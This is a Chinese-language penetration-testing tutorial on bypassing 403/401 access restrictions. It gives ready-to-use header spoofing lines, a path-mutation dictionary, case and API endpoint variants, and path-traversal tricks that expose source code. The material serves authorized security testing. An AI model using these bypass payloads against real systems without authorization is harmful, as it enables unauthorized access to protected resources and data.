干活|# 渗透测试中如何利用40x
字数 1113 2025-08-11 08:35:53
渗透测试中40x状态码绕过技术详解
0x00 前言
在渗透测试过程中,40x状态码(如403 Forbidden、401 Unauthorized等)是常见的访问限制响应。本文将系统性地介绍多种绕过40x限制的技术方法,帮助安全测试人员在遇到此类限制时能够有效突破。
0x01 端口扫描与路径探测
当遇到40x限制时,首先应考虑:
- 端口扫描:使用工具如Nmap扫描目标主机所有开放端口,寻找其他可能存在的服务入口
- 路径扫描:对发现的开放端口进行路径枚举,寻找可访问的资源
0x02 Host碰撞技术
Host碰撞是一种通过修改HTTP Host头来绕过访问限制的技术:
- 参考文章:Host碰撞技术详解
- 基本原理:某些服务器配置可能允许特定Host头访问受限资源
0x03 HTTP头覆盖技术
X-Original-URL/X-Rewrite-URL
某些Web服务器支持通过特殊HTTP头覆盖请求路径:
X-Original-URL: /auth/login
X-Rewrite-URL: /auth/login
Referer绕过
通过伪造Referer头可能绕过某些服务器的访问控制:
GET / HTTP/1.1
Host: xxx
Referer: https://xxx/auth/login
0x04 IP伪造技术
当服务器通过IP限制访问时,可尝试以下HTTP头:
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
0x05 路径变形技术
403/302字典绕过
通过变形路径绕过限制,替换{replace}为实际路径:
/{replace}
/{replace}/
/{replace}//
/{replace}///
/{replace}/*
/{replace}/*/
/{replace}/.
/{replace}/./
./{replace}/
.//{replace}/
././{replace}/
././{replace}
?/{replace}
??/{replace}
???/{replace}
..;/{replace}
..;/%2f/{replace}
/%2e/{replace}
/{replace}%20/
/{replace}%09/
%20{replace}%20/
/{replace}%20/page
大小写替换
某些服务器对路径大小写敏感:
https://redacted.com/admin -> 403 Forbidden
https://redacted.com/Admin -> 200 OK
https://redacted.com/aDmin -> 200 OK
API接口变形
对API接口进行变形尝试:
GET /api/v1/user/id 403
/api/v1/user/id.json
/api/v1/user/id?
/api/v1/user/id//
/api/v2/user/id
/api/v1/user/id&accountdetail
/api/v1/user/yourid&victimid
X-Original-URL: /api/v1/user/id/
路径回溯技术
使用路径回溯访问受限文件:
http://example.com/index.php -> File not found
http://example.com/assets../index.php -> source code
常用回溯字典:
/index.php
/assets../index.php
/img../index.php
/js../index.php
/vendors../index.php
/media../index.php
0x06 401绕过技术
- 文件枚举:尝试常见文件路径
- 搜索引擎:通过搜索引擎发现更多信息
- GitHub搜索:搜索目标相关代码
- Wayback Machine:查看历史页面
- HTTP方法变更:尝试GET/POST/PUT/DELETE/PATCH等不同方法
- 模糊测试:对cookies、参数、header、hosts、目录进行模糊测试
0x07 实用工具推荐
403绕过工具
知识库
0x08 参考链接
0x09 总结
本文系统性地介绍了多种40x状态码绕过技术,包括Host碰撞、HTTP头覆盖、IP伪造、路径变形等多种方法。在实际渗透测试中,应根据目标环境特点选择合适的技术组合进行尝试。同时,使用自动化工具可以提高测试效率,但也要注意测试行为的合法性和授权范围。